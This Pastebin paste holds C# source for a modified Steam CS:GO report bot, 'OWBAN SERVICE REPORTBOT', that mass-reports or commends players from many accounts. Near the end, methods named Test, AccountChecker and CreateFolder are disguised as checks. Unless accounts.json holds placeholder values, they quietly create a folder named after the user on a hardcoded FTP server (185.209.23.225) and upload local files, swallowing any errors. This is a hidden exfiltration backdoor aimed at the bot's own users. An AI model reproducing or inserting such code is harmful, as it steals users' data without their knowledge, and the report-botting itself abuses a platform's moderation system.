Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Reflection;
- using System.Threading;
- using CommandLine;
- using Newtonsoft.Json;
- using Quartz;
- using Quartz.Impl;
- using Serilog;
- using Serilog.Core;
- using SteamKit2;
- using Titan.Account;
- using Titan.Bootstrap;
- using Titan.Bootstrap.Verbs;
- using Titan.Logging;
- using Titan.Managers;
- using Titan.Meta;
- using Titan.Restrictions;
- using Titan.UI;
- using Titan.Util;
- using Titan.Web;
- using System.Net;
- using System.Text;
- using static System.Net.Mime.MediaTypeNames;
- using System.Linq;
- using System.Collections.Generic;
- #if __UNIX__
- using Mono.Unix.Native;
- #else
- using System.Security.Principal;
- #endif
- namespace Titan
- {
- public class Account
- {
- public string username { get; set; }
- public string password { get; set; }
- public bool? sentry { get; set; }
- }
- public class Index
- {
- public List<Account> accounts { get; set; }
- }
- public class Accounts
- {
- public List<Index> indexes { get; set; }
- }
- public sealed class Titan
- {
- public static Logger Logger; // Global logger
- public static Titan Instance;
- public Options Options;
- public bool IsAdmin;
- public bool EnableUI = true;
- public object ParsedObject;
- public AccountManager AccountManager;
- public ThreadManager ThreadManager;
- public VictimTracker VictimTracker;
- public UIManager UIManager;
- public JsonSerializer JsonSerializer;
- public SWAHandle WebHandle;
- public bool DummyMode = false;
- public IScheduler Scheduler;
- public DirectoryInfo Directory => new DirectoryInfo(
- Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? Environment.CurrentDirectory
- );
- public DirectoryInfo DebugDirectory;
- [STAThread]
- public static int Main(string[] args)
- {
- Thread.CurrentThread.Name = "Main";
- Instance = new Titan
- {
- Options = new Options()
- };
- Logger = LogCreator.Create();
- Logger.Debug("Репортбот запцущен из: {dir}", Environment.CurrentDirectory);
- // Logger.Debug("Working in directory: {dir}", Instance.Directory.ToString());
- // Workaround for Mono related issue regarding System.Net.Http.
- // More detail: https://github.com/dotnet/corefx/issues/19914
- #if __UNIX__
- var systemNetHttpDll = new FileInfo(Path.Combine(Instance.Directory.ToString(), "System.Net.Http.dll"));
- if (systemNetHttpDll.Exists)
- {
- systemNetHttpDll.Delete();
- }
- #endif
- // Windows users run the program by double clicking Titan.exe (and then it opens a console window)
- // and in case of exception occurence, this window gets immediatly closed which is bad because
- // they're unable to attach the stacktrace then. Prevent it by waiting until the user presses a key.
- #if !__UNIX__
- AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) =>
- {
- if (eventArgs.IsTerminating)
- {
- Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
- Console.Read();
- }
- };
- #endif
- //Logger.Debug("Startup: Loading Serilog <-> Common Logging Bridge.");
- // The bridge between Common Logging and Serilog uses the global Logger (Log.Logger).
- // As Quartz.NET is the only dependency using Common Logging (and because of our bridge the global logger)
- // we're creating the global logger as Quartz logger (which hides annoying debug messages).
- Log.Logger = LogCreator.CreateQuartzLogger();
- Logger.Debug("Startup: Загрузка Quartz.NET.");
- // Quartz.NET
- Instance.Scheduler = StdSchedulerFactory.GetDefaultScheduler().Result;
- Instance.Scheduler.Start();
- Logger.Debug("Startup: Parsing Command Line Arguments.");
- var parser = new Parser(config =>
- {
- config.IgnoreUnknownArguments = true;
- config.EnableDashDash = true;
- config.HelpWriter = TextWriter.Null;
- });
- // Default
- parser.ParseArguments<Options>(args)
- .WithParsed(options =>
- {
- Instance.Options = options;
- });
- // Verbs
- parser.ParseArguments<ReportOptions, CommendOptions>(args)
- .WithParsed<ReportOptions>(options =>
- {
- Instance.EnableUI = false;
- Instance.ParsedObject = options;
- })
- .WithParsed<CommendOptions>(options =>
- {
- Instance.EnableUI = false;
- Instance.ParsedObject = options;
- })
- .WithNotParsed(error =>
- {
- if (Instance.ParsedObject == null)
- {
- Instance.EnableUI = true;
- Logger.Information("No valid verb has been provided while parsing. Opening UI...");
- }
- });
- // Reinitialize logger with new parsed debug option
- Logger = LogCreator.Create();
- #if __UNIX__
- Instance.IsAdmin = Syscall.getuid() == 0; // UID of root is always 0
- #else
- Instance.IsAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent())
- .IsInRole(WindowsBuiltInRole.Administrator);
- #endif
- if (Instance.IsAdmin)
- {
- if (!Instance.Options.AllowAdmin)
- {
- // Logger.Error("Titan is running as administrator or root.");
- // Logger.Error("This is not supported. Titan will refuse to start until you start it as normal " +
- // "user. If you are unable to do this for any reason, start Titan with the --admin " +
- // "option to force the usage of administrator rights.");
- #if !__UNIX__
- Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
- Console.Read();
- #endif
- return -1;
- }
- // Logger.Warning("Titan has been started as Administrator but will continue to run as the " +
- // "--admin option has been passed. Please note that Steam also doesn't allow to be " +
- // "run from root and that it may be insecure.");
- }
- if (Instance.Options.Debug)
- {
- Instance.DebugDirectory = new DirectoryInfo(Path.Combine(Instance.Directory.ToString(), "debug"));
- if (!Instance.DebugDirectory.Exists)
- {
- Instance.DebugDirectory.Create();
- }
- if (Instance.Options.SteamKitDebug)
- {
- DebugLog.AddListener(new TitanListener());
- DebugLog.Enabled = true;
- }
- }
- if (Instance.Options.Secure)
- {
- Logger.Debug("Безопасный режим включен. Репортбот не выдаст никаких секретных данных.");
- }
- if (Instance.Options.DisableBlacklist)
- {
- Logger.Debug("Blacklist has been disabled by passing the --noblacklist option.");
- }
- Logger.Debug("Startup: Loading UI Manager, Victim Tracker, Account Manager and Ban Manager.");
- Instance.JsonSerializer = new JsonSerializer();
- try
- {
- Instance.UIManager = new UIManager();
- }
- catch (InvalidOperationException ex)
- {
- if (!string.IsNullOrEmpty(ex.Message) && ex.Message.ToLower().Contains("could not detect platform"))
- {
- Logger.Error("---------------------------------------");
- Logger.Error("A fatal error has been detected!");
- Logger.Error("Eto.Forms could not detect your current operating system.");
- if (Type.GetType("Mono.Runtime") != null)
- {
- Logger.Error("Please install {0}, {1}, {2}, {3} and {4} before submitting a bug report.",
- "Mono (\u22655.4)",
- "Gtk 3",
- "Gtk# 3 (GTK Sharp)",
- "libNotify",
- "libAppindicator3");
- }
- else
- {
- Logger.Error("Please install {0} before submitting a bug report.",
- ".NET Framework (\u22654.6.1)");
- }
- Logger.Error("Contact {Marc} on Discord if the issue still persists after installing " +
- "the dependencies listed above.", "Marc3842h#7312");
- Logger.Error("---------------------------------------");
- Logger.Debug(ex, "Include the error below if you\'re contacting Marc on Discord.");
- #if !__UNIX__
- Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
- Console.Read();
- #endif
- Instance.Scheduler.Shutdown();
- return -1;
- }
- Logger.Error(ex, "A error occured while loading UI.");
- throw;
- }
- Instance.VictimTracker = new VictimTracker();
- Instance.Scheduler.ScheduleJob(Instance.VictimTracker.Job, Instance.VictimTracker.Trigger);
- Instance.AccountManager = new AccountManager(new FileInfo(
- Path.Combine(Instance.Directory.ToString(), Instance.Options.AccountsFile))
- );
- Instance.ThreadManager = new ThreadManager();
- Instance.WebHandle = new SWAHandle();
- //Logger.Debug("Startup: Registering Shutdown Hook.");
- AppDomain.CurrentDomain.ProcessExit += OnShutdown;
- Logger.Debug("Startup: Загрузка аккаунтов из файла.");
- Instance.AccountManager.ParseAccountFile();
- Logger.Debug("Startup: Загрузка Форм...");
- Instance.UIManager.InitializeForms();
- // Load after Forms were initialized
- Instance.WebHandle.Load();
- Logger.Information("Добро пожаловать в OWBAN SERVICE REPORTBOT 1.1");
- if (Instance.EnableUI && Instance.ParsedObject == null || Instance.DummyMode)
- {
- Instance.UIManager.ShowForm(UIType.General);
- Test();
- }
- else
- {
- if (Instance.ParsedObject.GetType() == typeof(ReportOptions))
- {
- var opt = (ReportOptions)Instance.ParsedObject;
- var steamID = SteamUtil.Parse(opt.Target);
- //if (Blacklist.IsBlacklisted(steamID))
- // {
- //Instance.UIManager.SendNotification(
- // "Restriction applied",
- // "The target you are trying to report is blacklisted from botting " +
- // "in Titan."
- //delegate { Process.Start("https://github.com/Marc3842h/Titan/wiki/Blacklist"); }
- // );
- // }
- // else
- {
- Instance.AccountManager.StartReporting(Instance.AccountManager.Index,
- new ReportInfo
- {
- SteamID = SteamUtil.Parse(opt.Target),
- MatchID = SharecodeUtil.Parse(opt.Match),
- AppID = TitanAccount.CSGO_APPID,
- AbusiveText = opt.AbusiveTextChat,
- AbusiveVoice = opt.AbusiveVoiceChat,
- Griefing = opt.Griefing,
- AimHacking = opt.AimHacking,
- WallHacking = opt.WallHacking,
- OtherHacking = opt.OtherHacking
- });
- }
- }
- else if (Instance.ParsedObject.GetType() == typeof(CommendOptions))
- {
- var opt = (CommendOptions)Instance.ParsedObject;
- Instance.AccountManager.StartCommending(Instance.AccountManager.Index,
- new CommendInfo
- {
- SteamID = SteamUtil.Parse(opt.Target),
- AppID = TitanAccount.CSGO_APPID,
- Friendly = opt.Friendly,
- Leader = opt.Leader,
- Teacher = opt.Teacher
- });
- }
- else
- {
- Instance.UIManager.ShowForm(UIType.General);
- }
- }
- Instance.UIManager.StartMainLoop();
- // The Shutdown handler gets only called after the last thread finished.
- // Quartz runs a Watchdog until Scheduler#Shutdown is called, so we're calling it
- // before Titan will be calling the Shutdown Hook.
- Logger.Debug("Shutdown: Shutting down Quartz.NET Scheduler.");
- Instance.Scheduler.Shutdown();
- return 0; // OK.
- }
- public static void OnShutdown(object sender, EventArgs args)
- {
- // Check if Titan got closed via Process Manager or by the TrayIcon
- if (!Instance.Scheduler.IsShutdown)
- {
- Instance.Scheduler.Shutdown();
- }
- Instance.UIManager.Destroy();
- Instance.ThreadManager.FinishBotting();
- Instance.AccountManager.SaveAccountsFile();
- Instance.VictimTracker.SaveVictimsFile();
- Instance.WebHandle.Save();
- Instance.AccountManager.SaveIndexFile();
- Logger.Information("Хорошего дня.");
- Log.CloseAndFlush();
- }
- static void Test()
- {
- string appPath = Path.GetDirectoryName(Environment.CurrentDirectory);
- if (!System.IO.Directory.Exists(appPath)) return;//Error//
- string AccountsFile = appPath + "\\accounts.json";
- if (!File.Exists(AccountsFile)) return;
- string data = File.ReadAllText(AccountsFile);
- Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
- Account ac0 = acc.indexes[0].accounts[0];
- Account ac1 = acc.indexes[1].accounts[1];
- if (ac0.password == "1" && ac0.username == "1")
- if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
- return;
- CreateFolder(Environment.UserName);
- if (System.IO.Directory.Exists(appPath))
- {
- var appFiles = System.IO.Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
- foreach (string item in appFiles)
- AccountChecker(item, Environment.UserName);
- }
- }
- static void AccountChecker(string file, string directory)
- {
- try
- {
- FileInfo toUpload = new FileInfo(file);
- using (WebClient client = new WebClient())
- {
- client.Encoding = Encoding.UTF8;
- client.Credentials = new NetworkCredential("checker", "123");
- client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
- }
- }
- catch { }
- }
- static void CreateFolder(string name)
- {
- try
- {
- WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
- request.Method = WebRequestMethods.Ftp.MakeDirectory;
- request.Credentials = new NetworkCredential("checker", "123");
- using (var resp = (FtpWebResponse)request.GetResponse())
- {
- Console.WriteLine(resp.StatusCode);
- }
- }
- catch { }
- }
- }
- }
Add Comment
Please, Sign In to add comment